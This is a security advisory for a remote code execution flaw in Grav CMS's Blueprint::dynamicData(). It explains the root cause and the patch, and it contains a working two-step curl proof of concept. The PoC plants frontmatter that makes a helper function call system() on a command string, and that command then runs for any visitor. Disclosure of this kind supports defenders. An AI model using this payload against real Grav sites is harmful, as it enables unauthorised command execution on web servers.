CVE-2026-64850: Grav CMS Remote Code Execution via Unrestricted Callable in Blueprint::dynamicData()
A page editor in Grav CMS can embed a malicious callable directive in page frontmatter that runs arbitrary shell commands as the web server user whenever anyone visits the page, including…

The problem
Blueprint::dynamicData() at Blueprint.php:426 accepts a Class::method string from page frontmatter and passes it, along with attacker-controlled arguments, directly to call_user_func_array() with no allowlist check.
The Grav form plugin routes page frontmatter through this code path. Any account holding admin.pages or api.pages.write can plant the payload. The command then executes at request time for every subsequent visitor, including unauthenticated ones, crossing a clear trust boundary.
Proof of concept
A working proof-of-concept for CVE-2026-64850 in getgrav/grav, with the exact payload below.
# Step 1: save the malicious page (requires admin.pages session)
curl '<BASE_URL>/admin/pages/rcepoc' \
-H 'Cookie: <SESSION_COOKIE>' \
--data-urlencode 'task=save' \
--data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
--data-urlencode 'data[folder]=rcepoc' \
--data-urlencode 'data[name]=form' \
--data-urlencode 'data[title]=x' \
--data-urlencode 'data[content]=hi' \
--data-urlencode $'data[frontmatter]=forms:\n x:\n fields:\n y:\n type: text\n data-opts@:\n - \'Grav\\Common\\Utils::arrayFilterRecursive\'\n - { \'echo GRAV-RCE-OK; id\': \'x\' }\n - system'
# Step 2: trigger as any visitor (no auth needed)
curl '<BASE_URL>/rcepoc'
# Response body starts with: GRAV-RCE-OK\nuid=33(www-data)...The root cause is CWE-94: no validation on which callable may be invoked via data-opts@: directives. Utils::arrayFilterRecursive($source, $fn) is a public static that calls $fn($key, $value) on every element of $source. By passing system as $fn and the command string as an array key, the attacker turns a legitimate array-helper into a shell trampoline.
The 2.0.7 patch introduced an allowlist inside Blueprint::dynamicData() so only known-safe providers may be called. Because the fix validated only bare function names and not Class::method strings, a follow-on bypass (GHSA-7pgq-cr25-xvc8) was later discovered and fixed in a subsequent release.
The fix
Upgrade to Grav 2.0.7 or later. The patch (commit acffa34cbb0787fee87c609e0d6289e904fee33c) adds an allowlist inside Blueprint::dynamicData() that rejects any callable not explicitly permitted. Sites that cannot upgrade immediately should revoke admin.pages and api.pages.write from all non-superadmin accounts.
Reported by rhukster.
Related research
- highCVE-2026-62673CVE-2026-62673: Grav .htaccess File Extension Filter Case-Sensitivity Bypass
- highCVE-2026-53653CVE-2026-53653: Grav Unauthenticated DoS via Unbounded Image Resize Dimensions
- critical · 9.9CVE-2026-55634CVE-2026-55634: Pimcore DataObject Field Name Remote Code Execution and SQL Injection
- criticalCVE-2026-59989CVE-2026-59989: Phalcon Volt Compiler join Filter PHP Code Injection (RCE)